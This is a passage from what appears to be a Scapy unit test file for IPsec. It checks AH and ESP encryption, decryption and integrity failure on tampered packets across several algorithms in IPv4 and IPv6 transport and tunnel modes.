AH - Transport - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / AH - Tunnel ####################################### = IPv4 / AH - Tunnel - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key='secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IP(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key='sixteenbytes key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.dst = '4.4.4.4' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv6 / ESP ####################################### = IPv6 / ESP - Transport - NULL - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - AES-CBC - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data =e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Transport - AES-GCM - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Transport - AES-GCM - NULL - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - NULL - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - AES-CBC - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * integrity verification should pass d = sa.decrypt(e) * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='NULL', crypt_key=None, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key='sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src = 'aa::bb', dst = 'bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / ESP - Tunnel - AES-GCM - NULL p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d == p) ####################################### = IPv6 / ESP - Tunnel - AES-GCM - NULL - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key='16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv6 / AH ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer 